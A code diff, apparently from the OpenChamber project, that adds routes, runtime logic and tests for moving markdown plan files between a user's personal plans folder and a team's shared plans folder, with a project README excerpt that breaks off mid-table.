}),
|
||||
deletePlan: async () => ({ deleted: true, context: emptyContext }),
|
||||
sharePlan: async (_projectId, planId) => (planId === 'p1' ? { plan: { id: 'shared:a.md', file: 'a.md', title: 'A', createdAt: 1, pinned: false, source: 'shared' }, context: emptyContext } : null),
|
||||
unsharePlan: async (_projectId, planId) => (planId === 'shared:a.md' ? { plan: { id: 'p2', file: 'a.md', title: 'A', createdAt: 1, pinned: false, source: 'personal' }, context: emptyContext } : null),
|
||||
...overrides,
|
||||
};
|
||||
|
||||
@@ -212,6 +214,22 @@ describe('project context routes over HTTP', () => {
|
||||
.expect(400);
|
||||
});
|
||||
|
||||
it('shares and unshares a plan, and answers 404 for an unknown one', async () => {
|
||||
const { app } = createApp();
|
||||
const shared = await request(app).post('/api/project-context/proj/plans/p1/share');
|
||||
expect(shared.status).toBe(200);
|
||||
expect(shared.body.plan.id).toBe('shared:a.md');
|
||||
const back = await request(app).post('/api/project-context/proj/plans/shared%3Aa.md/unshare');
|
||||
expect(back.status).toBe(200);
|
||||
expect(back.body.plan.source).toBe('personal');
|
||||
expect((await request(app).post('/api/project-context/proj/plans/nope/share')).status).toBe(404);
|
||||
});
|
||||
|
||||
it('answers 400 when sharing without a shared plans folder', async () => {
|
||||
const { app } = createApp({ sharePlan: async () => { throw new Error('shared plans folder is required'); } });
|
||||
expect((await request(app).post('/api/project-context/proj/plans/p1/share')).status).toBe(400);
|
||||
});
|
||||
|
||||
it('returns 404 for an unknown plan', async () => {
|
||||
const { app } = createApp();
|
||||
await request(app).get(`${BASE}/plans/nope`).expect(404);
|
||||
|
||||
@@ -220,6 +220,21 @@ export const registerProjectContextRoutes = (app, dependencies) => {
|
||||
}
|
||||
});
|
||||
|
||||
// Moving a plan between the user's folder and the team's shared folder.
|
||||
for (const [suffix, method] of [['share', 'sharePlan'], ['unshare', 'unsharePlan']]) {
|
||||
app.post(`/api/project-context/:projectId/plans/:planId/${suffix}`, async (req, res) => {
|
||||
try {
|
||||
const result = await projectContextRuntime[method](req.params.projectId, req.params.planId);
|
||||
if (!result) {
|
||||
return res.status(404).json({ error: 'Plan not found' });
|
||||
}
|
||||
return res.json(result);
|
||||
} catch (error) {
|
||||
return respondWithError(res, error, `Failed to ${suffix} plan`);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
app.delete('/api/project-context/:projectId/plans/:planId', async (req, res) => {
|
||||
try {
|
||||
const { deleted, context } = await projectContextRuntime.deletePlan(
|
||||
|
||||
@@ -164,15 +164,22 @@ const sanitizePlanLinks = (value, now) => {
|
||||
const id = asNonEmptyString(entry.id);
|
||||
const file = asNonEmptyString(entry.file);
|
||||
if (!id || !file || !PLAN_FILE_PATTERN.test(file)) continue;
|
||||
if (seenIds.has(id) || seenFiles.has(file)) continue;
|
||||
// A personal file and a shared file may carry the same name: they live in different folders.
|
||||
const shared = entry.shared === true;
|
||||
const fileKey = `${shared ? 'shared' : 'personal'}/${file}`;
|
||||
if (seenIds.has(id) || seenFiles.has(fileKey)) continue;
|
||||
seenIds.add(id);
|
||||
seenFiles.add(file);
|
||||
seenFiles.add(fileKey);
|
||||
result.push({
|
||||
id,
|
||||
file,
|
||||
title: sanitizePlanTitle(entry.title) || 'Plan',
|
||||
createdAt: Number.isFinite(entry.createdAt) && entry.createdAt >= 0 ? entry.createdAt : now,
|
||||
pinned: entry.pinned === true,
|
||||
// The user's own plan that was moved into the team's folder: it keeps
|
||||
// its id (session attachments still point at it) and this flag says
|
||||
// which folder holds the file.
|
||||
shared,
|
||||
});
|
||||
}
|
||||
return result.sort((a, b) => b.createdAt - a.createdAt);
|
||||
@@ -185,8 +192,15 @@ const createEmptyContext = () => ({
|
||||
plans: [],
|
||||
});
|
||||
|
||||
const SHARED_PLAN_ID_PREFIX = 'shared:';
|
||||
|
||||
export const createProjectContextRuntime = (deps) => {
|
||||
const { fsPromises, path, projectsDirPath, createId } = deps;
|
||||
const { fsPromises, path, projectsDirPath, createId, resolveSharedPlansDir } = deps;
|
||||
// The team's shared plans folder for a project (absolute path) or null; the
|
||||
// project config runtime owns that answer (`plansDir` in the shared file).
|
||||
const sharedPlansDirFor = typeof resolveSharedPlansDir === 'function'
|
||||
? resolveSharedPlansDir
|
||||
: async () => null;
|
||||
|
||||
const idFactory = typeof createId === 'function'
|
||||
? createId
|
||||
@@ -356,7 +370,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
* of identical content, so concurrent migrations converge instead of
|
||||
* interleaving.
|
||||
*/
|
||||
const readContext = async (projectId) => {
|
||||
const readStoredContext = async (projectId) => {
|
||||
const now = Date.now();
|
||||
const stored = await readJson(contextPathFor(projectId));
|
||||
|
||||
@@ -385,6 +399,67 @@ export const createProjectContextRuntime = (deps) => {
|
||||
};
|
||||
};
|
||||
|
||||
/** The file name behind a shared plan id, or null when the id is not one. */
|
||||
const sharedPlanFileOf = (planId) => {
|
||||
if (typeof planId !== 'string' || !planId.startsWith(SHARED_PLAN_ID_PREFIX)) return null;
|
||||
const file = planId.slice(SHARED_PLAN_ID_PREFIX.length);
|
||||
return PLAN_FILE_PATTERN.test(file) ? file : null;
|
||||
};
|
||||
|
||||
/**
|
||||
* Plans in the team's shared folder: every `.md` file there, newest first,
|
||||
* addressed by `shared:<file>`. Plans written by other tools have no
|
||||
* manifest entry, so the title comes from the file each time.
|
||||
*/
|
||||
const listSharedPlans = async (projectId, claimedFiles = new Set()) => {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
if (!dir) return { dir: null, plans: [] };
|
||||
let entries;
|
||||
try {
|
||||
entries = await fsPromises.readdir(dir, { withFileTypes: true });
|
||||
} catch (error) {
|
||||
if (error && error.code === 'ENOENT') return { dir, plans: [] };
|
||||
throw error;
|
||||
}
|
||||
const plans = [];
|
||||
for (const entry of entries) {
|
||||
if (!entry.isFile() || !PLAN_FILE_PATTERN.test(entry.name)) continue;
|
||||
// Listed under its own id by the manifest entry that moved it there.
|
||||
if (claimedFiles.has(entry.name)) continue;
|
||||
const filePath = path.join(dir, entry.name);
|
||||
const [raw, stat] = await Promise.all([fsPromises.readFile(filePath, 'utf8'), fsPromises.stat(filePath)]);
|
||||
plans.push({
|
||||
id: `${SHARED_PLAN_ID_PREFIX}${entry.name}`,
|
||||
file: entry.name,
|
||||
title: parsePlanMarkdown(raw).title,
|
||||
createdAt: Math.round(stat.mtimeMs),
|
||||
pinned: false,
|
||||
source: 'shared',
|
||||
});
|
||||
}
|
||||
plans.sort((left, right) => right.createdAt - left.createdAt);
|
||||
return { dir, plans };
|
||||
};
|
||||
|
||||
/** What clients see: the stored context plus the team's shared plans, each marked with its source. */
|
||||
const readContext = async (projectId) => {
|
||||
const stored = await readStoredContext(projectId);
|
||||
const claimed = new Set(stored.plans.filter((plan) => plan.shared).map((plan) => plan.file));
|
||||
const shared = await listSharedPlans(projectId, claimed);
|
||||
const own = stored.plans
|
||||
// A moved plan is only reachable while the project still has a shared folder.
|
||||
.filter((plan) => !plan.shared || shared.dir)
|
||||
.map(({ shared: isShared, ...plan }) => ({ ...plan, source: isShared ? 'shared' : 'personal' }));
|
||||
return {
|
||||
...stored,
|
||||
plans: [...own, ...shared.plans],
|
||||
sharedPlansDir: shared.dir,
|
||||
};
|
||||
};
|
||||
|
||||
/** The folder a manifest plan's file lives in; null for a moved plan when the project lost its shared folder. */
|
||||
const folderOfLink = async (projectId, link) => (link.shared ? sharedPlansDirFor(projectId) : plansDirFor(projectId));
|
||||
|
||||
const writeContext = async (projectId, context) => {
|
||||
await writeJsonAtomic(contextPathFor(projectId), {
|
||||
version: PROJECT_CONTEXT_VERSION,
|
||||
@@ -397,7 +472,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
const saveTodos = async (projectId, todos) => {
|
||||
return withWriteLock(projectId, async () => {
|
||||
const now = Date.now();
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const next = { ...current, todos: sanitizeTodos(todos, now) };
|
||||
await writeContext(projectId, next);
|
||||
return next;
|
||||
@@ -420,7 +495,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const now = Date.now();
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
if (current.notes.length >= PROJECT_NOTE_MAX_ITEMS) {
|
||||
throw new Error(`A project can hold at most ${PROJECT_NOTE_MAX_ITEMS} notes`);
|
||||
}
|
||||
@@ -462,7 +537,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const now = Date.now();
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const existing = current.notes.find((note) => note.id === id);
|
||||
if (!existing) {
|
||||
return null;
|
||||
@@ -486,7 +561,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
}
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
if (!current.notes.some((note) => note.id === id)) {
|
||||
return { deleted: false, context: current };
|
||||
}
|
||||
@@ -501,22 +576,38 @@ export const createProjectContextRuntime = (deps) => {
|
||||
if (!id) {
|
||||
throw new Error('planId is required');
|
||||
}
|
||||
const context = await readContext(projectId);
|
||||
const sharedFile = sharedPlanFileOf(id);
|
||||
if (sharedFile) {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
if (!dir) return null;
|
||||
let raw;
|
||||
try {
|
||||
raw = await fsPromises.readFile(path.join(dir, sharedFile), 'utf8');
|
||||
} catch (error) {
|
||||
if (error && error.code === 'ENOENT') return null;
|
||||
throw error;
|
||||
}
|
||||
const parsed = parsePlanMarkdown(raw);
|
||||
return { id, file: sharedFile, createdAt: 0, title: parsed.title, body: parsed.body, raw, source: 'shared' };
|
||||
}
|
||||
const context = await readStoredContext(projectId);
|
||||
const link = context.plans.find((entry) => entry.id === id);
|
||||
if (!link) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const folder = await folderOfLink(projectId, link);
|
||||
if (!folder) return null;
|
||||
let raw;
|
||||
try {
|
||||
raw = await fsPromises.readFile(path.join(plansDirFor(projectId), link.file), 'utf8');
|
||||
raw = await fsPromises.readFile(path.join(folder, link.file), 'utf8');
|
||||
} catch (error) {
|
||||
if (error && error.code === 'ENOENT') return null;
|
||||
throw error;
|
||||
}
|
||||
|
||||
const parsed = parsePlanMarkdown(raw);
|
||||
return { id: link.id, file: link.file, createdAt: link.createdAt, title: parsed.title, body: parsed.body, raw };
|
||||
return { id: link.id, file: link.file, createdAt: link.createdAt, title: parsed.title, body: parsed.body, raw, source: link.shared ? 'shared' : 'personal' };
|
||||
};
|
||||
|
||||
/**
|
||||
@@ -541,14 +632,37 @@ export const createProjectContextRuntime = (deps) => {
|
||||
}
|
||||
const raw = clampLength(value.raw, PROJECT_PLAN_BODY_MAX_LENGTH);
|
||||
|
||||
const sharedFile = sharedPlanFileOf(id);
|
||||
if (sharedFile) {
|
||||
// A shared plan is the file itself: written verbatim, no manifest.
|
||||
return withWriteLock(projectId, async () => {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
if (!dir) return null;
|
||||
const filePath = path.join(dir, sharedFile);
|
||||
try {
|
||||
await fsPromises.access(filePath);
|
||||
} catch (error) {
|
||||
if (error && error.code === 'ENOENT') return null;
|
||||
throw error;
|
||||
}
|
||||
await fsPromises.writeFile(filePath, raw, 'utf8');
|
||||
const parsed = parsePlanMarkdown(raw);
|
||||
const context = await readContext(projectId);
|
||||
const plan = context.plans.find((entry) => entry.id === id) ?? { id, file: sharedFile, title: parsed.title, createdAt: Date.now(), pinned: false, source: 'shared' };
|
||||
return { plan, context, title: parsed.title, body: parsed.body, raw };
|
||||
});
|
||||
}
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const link = current.plans.find((entry) => entry.id === id);
|
||||
if (!link) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const filePath = path.join(plansDirFor(projectId), link.file);
|
||||
const folder = await folderOfLink(projectId, link);
|
||||
if (!folder) return null;
|
||||
const filePath = path.join(folder, link.file);
|
||||
// Refuse to recreate a file that was deleted underneath us: the link is
|
||||
// already dead, and writing here would resurrect it with editor content
|
||||
// the user believed was discarded.
|
||||
@@ -569,7 +683,8 @@ export const createProjectContextRuntime = (deps) => {
|
||||
};
|
||||
await writeContext(projectId, next);
|
||||
|
||||
return { plan: nextLink, context: next, title: parsed.title, body: parsed.body, raw };
|
||||
const { shared: isShared, ...publicLink } = nextLink;
|
||||
return { plan: { ...publicLink, source: isShared ? 'shared' : 'personal' }, context: await readContext(projectId), title: parsed.title, body: parsed.body, raw };
|
||||
});
|
||||
};
|
||||
|
||||
@@ -586,7 +701,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
const body = clampLength(typeof value?.body === 'string' ? value.body : '', PROJECT_PLAN_BODY_MAX_LENGTH);
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const createdAt = Date.now();
|
||||
const plansDir = plansDirFor(projectId);
|
||||
await fsPromises.mkdir(plansDir, { recursive: true });
|
||||
@@ -594,7 +709,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
const baseName = `${createdAt}-${slugifyPlanTitle(title)}`;
|
||||
let file = `${baseName}.md`;
|
||||
let attempt = 1;
|
||||
while (current.plans.some((entry) => entry.file === file)) {
|
||||
while (current.plans.some((entry) => !entry.shared && entry.file === file)) {
|
||||
file = `${baseName}-${attempt}.md`;
|
||||
attempt += 1;
|
||||
}
|
||||
@@ -604,7 +719,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
const link = { id: idFactory(), file, title, createdAt, pinned: false };
|
||||
const next = { ...current, plans: [link, ...current.plans] };
|
||||
await writeContext(projectId, next);
|
||||
return { plan: link, context: next };
|
||||
return { plan: { ...link, source: 'personal' }, context: await readContext(projectId) };
|
||||
});
|
||||
};
|
||||
|
||||
@@ -623,7 +738,7 @@ export const createProjectContextRuntime = (deps) => {
|
||||
}
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const existing = current.plans.find((entry) => entry.id === id);
|
||||
if (!existing) {
|
||||
return null;
|
||||
@@ -631,7 +746,8 @@ export const createProjectContextRuntime = (deps) => {
|
||||
const plan = { ...existing, pinned: pinned === true };
|
||||
const next = { ...current, plans: current.plans.map((entry) => (entry.id === id ? plan : entry)) };
|
||||
await writeContext(projectId, next);
|
||||
return { plan, context: next };
|
||||
const { shared: isShared, ...publicPlan } = plan;
|
||||
return { plan: { ...publicPlan, source: isShared ? 'shared' : 'personal' }, context: await readContext(projectId) };
|
||||
});
|
||||
};
|
||||
|
||||
@@ -641,17 +757,124 @@ export const createProjectContextRuntime = (deps) => {
|
||||
throw new Error('planId is required');
|
||||
}
|
||||
|
||||
const sharedFile = sharedPlanFileOf(id);
|
||||
if (sharedFile) {
|
||||
return withWriteLock(projectId, async () => {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
const filePath = dir ? path.join(dir, sharedFile) : null;
|
||||
const exists = filePath ? await fsPromises.access(filePath).then(() => true, () => false) : false;
|
||||
if (!exists) return { deleted: false, context: await readContext(projectId) };
|
||||
await fsPromises.rm(filePath, { force: true });
|
||||
return { deleted: true, context: await readContext(projectId) };
|
||||
});
|
||||
}
|
||||
|
||||
return withWriteLock(projectId, async () => {
|
||||
const current = await readContext(projectId);
|
||||
const current = await readStoredContext(projectId);
|
||||
const link = current.plans.find((entry) => entry.id === id);
|
||||
if (!link) {
|
||||
return { deleted: false, context: current };
|
||||
return { deleted: false, context: await readContext(projectId) };
|
||||
}
|
||||
|
||||
const next = { ...current, plans: current.plans.filter((entry) => entry.id !== id) };
|
||||
await writeContext(projectId, next);
|
||||
await fsPromises.rm(path.join(plansDirFor(projectId), link.file), { force: true });
|
||||
return { deleted: true, context: next };
|
||||
const folder = await folderOfLink(projectId, link);
|
||||
if (folder) await fsPromises.rm(path.join(folder, link.file), { force: true });
|
||||
return { deleted: true, context: await readContext(projectId) };
|
||||
});
|
||||
};
|
||||
|
||||
/** A free file name in `dir`, keeping the wanted base name unless it is taken. */
|
||||
const freeFileNameIn = async (dir, wanted, taken = new Set()) => {
|
||||
const base = wanted.replace(/\.md$/, '');
|
||||
let file = wanted;
|
||||
let attempt = 1;
|
||||
while (taken.has(file) || await fsPromises.access(path.join(dir, file)).then(() => true, () => false)) {
|
||||
file = `${base}-${attempt}.md`;
|
||||
attempt += 1;
|
||||
}
|
||||
return file;
|
||||
};
|
||||
|
||||
const moveFile = async (from, to) => {
|
||||
try {
|
||||
await fsPromises.rename(from, to);
|
||||
} catch (error) {
|
||||
if (!error || error.code !== 'EXDEV') throw error;
|
||||
await fsPromises.copyFile(from, to);
|
||||
await fsPromises.rm(from, { force: true });
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Move one of the user's plans into the team's shared folder. The plan
|
||||
* keeps its id: the manifest entry stays and gets the `shared` flag, so a
|
||||
* session that attached the plan still finds it. The markdown moves first,
|
||||
* then the manifest is written; a failure in between leaves the file in the
|
||||
* shared folder (listed there as `shared:<file>`) and a dead personal entry
|
||||
* that `readPlan` reports as gone. Needs a shared plans folder; refused
|
||||
* (validation error) when the project has none.
|
||||
*/
|
||||
const sharePlan = async (projectId, planId) => {
|
||||
const id = asNonEmptyString(planId);
|
||||
if (!id) throw new Error('planId is required');
|
||||
return withWriteLock(projectId, async () => {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
if (!dir) throw new Error('shared plans folder is required');
|
||||
const current = await readStoredContext(projectId);
|
||||
const link = current.plans.find((entry) => entry.id === id);
|
||||
if (!link || link.shared) return null;
|
||||
const from = path.join(plansDirFor(projectId), link.file);
|
||||
const exists = await fsPromises.access(from).then(() => true, () => false);
|
||||
if (!exists) return null;
|
||||
await fsPromises.mkdir(dir, { recursive: true });
|
||||
const file = await freeFileNameIn(dir, link.file);
|
||||
await moveFile(from, path.join(dir, file));
|
||||
const moved = { ...link, file, shared: true };
|
||||
await writeContext(projectId, { ...current, plans: current.plans.map((entry) => (entry.id === id ? moved : entry)) });
|
||||
const context = await readContext(projectId);
|
||||
return { plan: context.plans.find((entry) => entry.id === id), context };
|
||||
});
|
||||
};
|
||||
|
||||
/**
|
||||
* Move a shared plan back into the user's own plans; the reverse of
|
||||
* `sharePlan`. A plan the user moved keeps its id; a plan that only ever
|
||||
* lived in the team's folder (`shared:<file>`) gets a manifest entry now.
|
||||
*/
|
||||
const unsharePlan = async (projectId, planId) => {
|
||||
const id = asNonEmptyString(planId);
|
||||
if (!id) throw new Error('planId is required');
|
||||
return withWriteLock(projectId, async () => {
|
||||
const dir = await sharedPlansDirFor(projectId);
|
||||
if (!dir) return null;
|
||||
const current = await readStoredContext(projectId);
|
||||
const ownLink = current.plans.find((entry) => entry.id === id && entry.shared);
|
||||
const sharedFile = ownLink ? ownLink.file : sharedPlanFileOf(id);
|
||||
if (!sharedFile) return null;
|
||||
const from = path.join(dir, sharedFile);
|
||||
let raw;
|
||||
try {
|
||||
raw = await fsPromises.readFile(from, 'utf8');
|
||||
} catch (error) {
|
||||
if (error && error.code === 'ENOENT') return null;
|
||||
throw error;
|
||||
}
|
||||
const plansDir = plansDirFor(projectId);
|
||||
await fsPromises.mkdir(plansDir, { recursive: true });
|
||||
const taken = new Set(current.plans.filter((entry) => !entry.shared).map((entry) => entry.file));
|
||||
const file = await freeFileNameIn(plansDir, sharedFile, taken);
|
||||
await moveFile(from, path.join(plansDir, file));
|
||||
const title = parsePlanMarkdown(raw).title;
|
||||
const link = ownLink
|
||||
? { ...ownLink, file, title, shared: false }
|
||||
: { id: idFactory(), file, title, createdAt: Date.now(), pinned: false, shared: false };
|
||||
const plans = ownLink
|
||||
? current.plans.map((entry) => (entry.id === id ? link : entry))
|
||||
: [link, ...current.plans];
|
||||
await writeContext(projectId, { ...current, plans });
|
||||
const { shared: _movedFlag, ...publicLink } = link;
|
||||
return { plan: { ...publicLink, source: 'personal' }, context: await readContext(projectId) };
|
||||
});
|
||||
};
|
||||
|
||||
@@ -666,6 +889,8 @@ export const createProjectContextRuntime = (deps) => {
|
||||
createPlan,
|
||||
setPlanPinned,
|
||||
deletePlan,
|
||||
sharePlan,
|
||||
unsharePlan,
|
||||
contextPathFor,
|
||||
plansDirFor,
|
||||
};
|
||||
|
||||
@@ -52,6 +52,7 @@ describe('readContext', () => {
|
||||
notes: [],
|
||||
todos: [],
|
||||
plans: [],
|
||||
sharedPlansDir: null,
|
||||
});
|
||||
});
|
||||
|
||||
@@ -134,7 +135,7 @@ describe('legacy migration', () => {
|
||||
const context = await runtime.readContext(PROJECT_ID);
|
||||
expect(context.notes.map((note) => note.body)).toEqual(['legacy notes']);
|
||||
expect(context.todos).toEqual([{ id: 't1', text: 'legacy todo', completed: true, createdAt: 5 }]);
|
||||
expect(context.plans).toEqual([{ id: 'p1', file: '10-old.md', title: 'Old plan', createdAt: 10, pinned: false }]);
|
||||
expect(context.plans).toEqual([{ id: 'p1', file: '10-old.md', title: 'Old plan', createdAt: 10, pinned: false, source: 'personal' }]);
|
||||
|
||||
const remaining = await readJson(legacyConfigPath());
|
||||
expect(remaining).toEqual({
|
||||
@@ -152,7 +153,7 @@ describe('legacy migration', () => {
|
||||
});
|
||||
|
||||
const context = await runtime.readContext(PROJECT_ID);
|
||||
expect(context.plans).toEqual([{ id: 'p1', file: 'stray.md', title: 'Stray', createdAt: 10, pinned: false }]);
|
||||
expect(context.plans).toEqual([{ id: 'p1', file: 'stray.md', title: 'Stray', createdAt: 10, pinned: false, source: 'personal' }]);
|
||||
expect(await fsPromises.readFile(path.join(plansDir(), 'stray.md'), 'utf8')).toContain('recovered');
|
||||
});
|
||||
|
||||
@@ -170,7 +171,7 @@ describe('legacy migration', () => {
|
||||
test('does not run when the legacy config holds no context keys', async () => {
|
||||
await writeJson(legacyConfigPath(), { 'setup-worktree': ['bun install'] });
|
||||
|
||||
expect(await runtime.readContext(PROJECT_ID)).toEqual({ version: 2, notes: [], todos: [], plans: [] });
|
||||
expect(await runtime.readContext(PROJECT_ID)).toEqual({ version: 2, notes: [], todos: [], plans: [], sharedPlansDir: null });
|
||||
await expect(fsPromises.access(contextPath())).rejects.toThrow();
|
||||
expect(await readJson(legacyConfigPath())).toEqual({ 'setup-worktree': ['bun install'] });
|
||||
});
|
||||
@@ -479,6 +480,108 @@ describe('plans', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('shared plans', () => {
|
||||
let sharedDir;
|
||||
let sharedRuntime;
|
||||
|
||||
beforeEach(async () => {
|
||||
sharedDir = path.join(projectsDirPath, 'repo', 'docs', 'plans');
|
||||
sharedRuntime = createProjectContextRuntime({
|
||||
fsPromises,
|
||||
path,
|
||||
projectsDirPath,
|
||||
createId: () => `plan-${++idCounter}`,
|
||||
resolveSharedPlansDir: async () => sharedDir,
|
||||
});
|
||||
});
|
||||
|
||||
test('lists the shared folder\'s markdown files after the personal plans, marked shared, and reads them by file', async () => {
|
||||
await fsPromises.mkdir(sharedDir, { recursive: true });
|
||||
await fsPromises.writeFile(path.join(sharedDir, 'roadmap.md'), '# Roadmap\n\n- ship it\n');
|
||||
await fsPromises.writeFile(path.join(sharedDir, 'notes.txt'), 'not a plan');
|
||||
await fsPromises.writeFile(path.join(sharedDir, 'untitled.md'), 'first line only');
|
||||
const mine = await sharedRuntime.createPlan(PROJECT_ID, { title: 'Mine', body: 'x' });
|
||||
|
||||
const context = await sharedRuntime.readContext(PROJECT_ID);
|
||||
expect(context.sharedPlansDir).toBe(sharedDir);
|
||||
expect(context.plans.map((plan) => `${plan.id}:${plan.source}`)).toEqual(expect.arrayContaining([
|
||||
`${mine.plan.id}:personal`, 'shared:roadmap.md:shared', 'shared:untitled.md:shared',
|
||||
]));
|
||||
expect(context.plans[0].id).toBe(mine.plan.id);
|
||||
expect(context.plans.find((plan) => plan.id === 'shared:untitled.md').title).toBe('first line only');
|
||||
|
||||
const read = await sharedRuntime.readPlan(PROJECT_ID, 'shared:roadmap.md');
|
||||
expect(read.title).toBe('Roadmap');
|
||||
expect(read.raw).toBe('# Roadmap\n\n- ship it\n');
|
||||
expect(await sharedRuntime.readPlan(PROJECT_ID, 'shared:missing.md')).toBeNull();
|
||||
expect(await sharedRuntime.readPlan(PROJECT_ID, 'shared:../escape.md')).toBeNull();
|
||||
});
|
||||
|
||||
test('a missing shared folder lists nothing; no folder configured lists nothing', async () => {
|
||||
expect((await sharedRuntime.readContext(PROJECT_ID)).plans).toEqual([]);
|
||||
expect((await runtime.readContext(PROJECT_ID)).sharedPlansDir).toBeNull();
|
||||
});
|
||||
|
||||
test('updates and deletes a shared plan in place, verbatim', async () => {
|
||||
await fsPromises.mkdir(sharedDir, { recursive: true });
|
||||
await fsPromises.writeFile(path.join(sharedDir, 'a.md'), '# A\n');
|
||||
const updated = await sharedRuntime.updatePlan(PROJECT_ID, 'shared:a.md', { raw: '# Renamed\n\nbody\n' });
|
||||
expect(updated.plan.title).toBe('Renamed');
|
||||
expect(updated.plan.source).toBe('shared');
|
||||
expect(await fsPromises.readFile(path.join(sharedDir, 'a.md'), 'utf8')).toBe('# Renamed\n\nbody\n');
|
||||
expect(await sharedRuntime.updatePlan(PROJECT_ID, 'shared:gone.md', { raw: 'x' })).toBeNull();
|
||||
expect(await sharedRuntime.setPlanPinned(PROJECT_ID, 'shared:a.md', true)).toBeNull();
|
||||
|
||||
const deleted = await sharedRuntime.deletePlan(PROJECT_ID, 'shared:a.md');
|
||||
expect(deleted.deleted).toBe(true);
|
||||
await expect(fsPromises.access(path.join(sharedDir, 'a.md'))).rejects.toThrow();
|
||||
expect((await sharedRuntime.deletePlan(PROJECT_ID, 'shared:a.md')).deleted).toBe(false);
|
||||
});
|
||||
|
||||
test('share moves a personal plan into the shared folder and unshare brings it back, avoiding name collisions', async () => {
|
||||
const { plan } = await sharedRuntime.createPlan(PROJECT_ID, { title: 'Mine', body: 'body' });
|
||||
const shared = await sharedRuntime.sharePlan(PROJECT_ID, plan.id);
|
||||
// The id survives the move: a session that attached the plan still finds it.
|
||||
expect(shared.plan.id).toBe(plan.id);
|
||||
expect(shared.plan.source).toBe('shared');
|
||||
expect(shared.context.plans.map((entry) => `${entry.id}:${entry.source}`)).toEqual([`${plan.id}:shared`]);
|
||||
await expect(fsPromises.access(path.join(plansDir(), plan.file))).rejects.toThrow();
|
||||
expect(await fsPromises.readFile(path.join(sharedDir, plan.file), 'utf8')).toBe('# Mine\n\nbody');
|
||||
expect((await readJson(path.join(projectsDirPath, PROJECT_ID, 'context.json'))).plans[0]).toMatchObject({ id: plan.id, shared: true });
|
||||
const readMoved = await sharedRuntime.readPlan(PROJECT_ID, plan.id);
|
||||
expect(readMoved.source).toBe('shared');
|
||||
expect(readMoved.raw).toBe('# Mine\n\nbody');
|
||||
expect((await sharedRuntime.updatePlan(PROJECT_ID, plan.id, { raw: '# Mine v2\n' })).plan).toMatchObject({ id: plan.id, title: 'Mine v2', source: 'shared' });
|
||||
expect(await fsPromises.readFile(path.join(sharedDir, plan.file), 'utf8')).toBe('# Mine v2\n');
|
||||
|
||||
// A personal file with the same name already exists: the returning plan gets a suffix, same id.
|
||||
await fsPromises.mkdir(plansDir(), { recursive: true });
|
||||
await fsPromises.writeFile(path.join(plansDir(), plan.file), 'squatter');
|
||||
const back = await sharedRuntime.unsharePlan(PROJECT_ID, plan.id);
|
||||
expect(back.plan.id).toBe(plan.id);
|
||||
expect(back.plan.source).toBe('personal');
|
||||
expect(back.plan.file).toBe(plan.file.replace(/\.md$/, '-1.md'));
|
||||
expect(back.plan.title).toBe('Mine v2');
|
||||
expect(back.context.plans.map((entry) => `${entry.id}:${entry.source}`)).toEqual([`${plan.id}:personal`]);
|
||||
await expect(fsPromises.access(path.join(sharedDir, plan.file))).rejects.toThrow();
|
||||
expect(await sharedRuntime.unsharePlan(PROJECT_ID, plan.id)).toBeNull();
|
||||
expect(await sharedRuntime.sharePlan(PROJECT_ID, 'nope')).toBeNull();
|
||||
|
||||
// A plan that only ever lived in the team's folder gets an id of its own on the way in.
|
||||
await fsPromises.writeFile(path.join(sharedDir, 'foreign.md'), '# Foreign\n');
|
||||
const adopted = await sharedRuntime.unsharePlan(PROJECT_ID, 'shared:foreign.md');
|
||||
expect(adopted.plan.id).not.toMatch(/^shared:/);
|
||||
expect(adopted.plan.title).toBe('Foreign');
|
||||
expect(adopted.plan.source).toBe('personal');
|
||||
});
|
||||
|
||||
test('share is refused without a shared plans folder', async () => {
|
||||
const { plan } = await runtime.createPlan(PROJECT_ID, { title: 'Mine', body: 'x' });
|
||||
await expect(runtime.sharePlan(PROJECT_ID, plan.id)).rejects.toThrow('shared plans folder is required');
|
||||
expect((await runtime.readContext(PROJECT_ID)).plans.map((entry) => entry.id)).toEqual([plan.id]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parsePlanMarkdown', () => {
|
||||
test('reads the leading heading as the title', () => {
|
||||
expect(parsePlanMarkdown('# Title\n\nbody')).toEqual({ title: 'Title', body: 'body' });
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# Projects
|
||||
|
||||
## Purpose
|
||||
|
||||
Server-owned storage for a project's per-user config file,
|
||||
`~/.config/openchamber/projects/<projectId>.json`. The file holds two
|
||||
families of keys with different writers, and this module is the only place
|
||||
that writes it:
|
||||
|
||||
| Keys | Owner | Reached through |
|
||||
|---|---|---|
|
||||
